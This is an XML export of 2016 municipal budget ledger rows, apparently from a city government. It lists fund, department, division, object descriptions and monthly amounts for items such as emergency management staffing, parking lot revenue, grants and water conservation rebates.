<row _id="21874"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>54100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>54100</total></row>
<row _id="21875"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21876"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-75906</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-75906</total></row>
<row _id="21877"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1200</total></row>
<row _id="21878"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>11200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11200</total></row>
<row _id="21879"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>223587</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>223587</total></row>
<row _id="21880"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>404041.0</object><object_description>SR2S - EDISON LANGUAGE ACADEMY</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-328563</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-328563</total></row>
<row _id="21881"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579961.0</object><object_description>BBB-GEN FUND REIMB-MISC</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-50000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-50000</total></row>
<row _id="21882"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>405452.0</object><object_description>HBP- FHWA CAL INCLINE CONSTRUC</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-2849872</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-2849872</total></row>
<row _id="21883"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>404870.0</object><object_description>1665 OCEAN AVE PKG LOT</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2016</fiscal_year><july>-53000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-53000</total></row>
<row _id="21884"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>552010.0</object><object_description>CUSTODIAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1400</total></row>
<row _id="21885"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>552010.0</object><object_description>CUSTODIAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>20432</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20432</total></row>
<row _id="21886"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>402521.0</object><object_description>1450 OCEAN ACTIVITIES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-8000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-8000</total></row>
<row _id="21887"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>407691.0</object><object_description>TAXI FRANCHISE FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-234300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-234300</total></row>
<row _id="21888"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>402030.0</object><object_description>CAROUSEL OPERATION</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-255000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-255000</total></row>
<row _id="21889"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>15965</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15965</total></row>
<row _id="21890"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>543</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>543</total></row>
<row _id="21891"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21892"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>551010.0</object><object_description>CAR WASHES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>240</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>240</total></row>
<row _id="21893"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21894"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511050.0</object><object_description>CAPITAL PROJECT STAFFING</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-238586</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-238586</total></row>
<row _id="21895"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>405100.0</object><object_description>PARKING FACILITY TAX</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2016</fiscal_year><july>-11600000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-11600000</total></row>
<row _id="21896"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>14</fund_id><fund_name>TORCA Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>404060.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2016</fiscal_year><july>-50000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-50000</total></row>
<row _id="21897"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1553</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1553</total></row>
<row _id="21898"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>500</total></row>
<row _id="21899"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>555030.0</object><object_description>EMPLOYEE MEDICAL EXAMS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>300</total></row>
<row _id="21900"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>401060.0</object><object_description>STATE SB 90 CLAIMS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21901"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>408590.0</object><object_description>SA COLLECTIVE BARGAINING COSTS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-312400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-312400</total></row>
<row _id="21902"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>408640.0</object><object_description>CO ESPLANADE - CMAQ</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21903"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>404860.0</object><object_description>1630 5TH LOT 29 (5TH &amp; COLORA)</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2016</fiscal_year><july>-67000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-67000</total></row>
<row _id="21904"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>407260.0</object><object_description>STRUCTURE 9 PARKING</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2016</fiscal_year><july>-512000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-512000</total></row>
<row _id="21905"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>410220.0</object><object_description>DOWNTOWN ADVERTISING REVENUE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-325000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-325000</total></row>
<row _id="21906"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object xsi:nil="true" /><object_description>MEDICAL-RETIREE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21907"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>403765.0</object><object_description>DOWNTOWN SHUTTLE PROGRAM</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-70608</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-70608</total></row>
<row _id="21908"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401134.0</object><object_description>VOLLEYBALL LEAGUES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-8300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-8300</total></row>
<row _id="21909"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401072.0</object><object_description>TENNIS TOURNAMENT</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-32000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-32000</total></row>
<row _id="21910"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21911"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21912"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21913"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>566582.0</object><object_description>PARAMEDIC CERTIFICATES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1200</total></row>
<row _id="21914"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>544301.0</object><object_description>SAFETY SOFTWARE MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7000</total></row>
<row _id="21915"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21916"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21917"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21918"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>566586.0</object><object_description>HOSE PURCHASES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21919"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>577830.0</object><object_description>WATER CONSERVATION REBATES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>922700</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>922700</total></row>
<row _id="21920"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>FIRE STATION MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>70000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>70000</total></row>
<row _id="21921"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570081.0</object><object_description>TRANSFER IN-WTR L-INCOME DISC</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-20000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-20000</total></row>
<row _id="21922"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>409230.0</object><object_description>3400-3500 Airport Ave Reimburs</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-630349</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-630349</total></row>
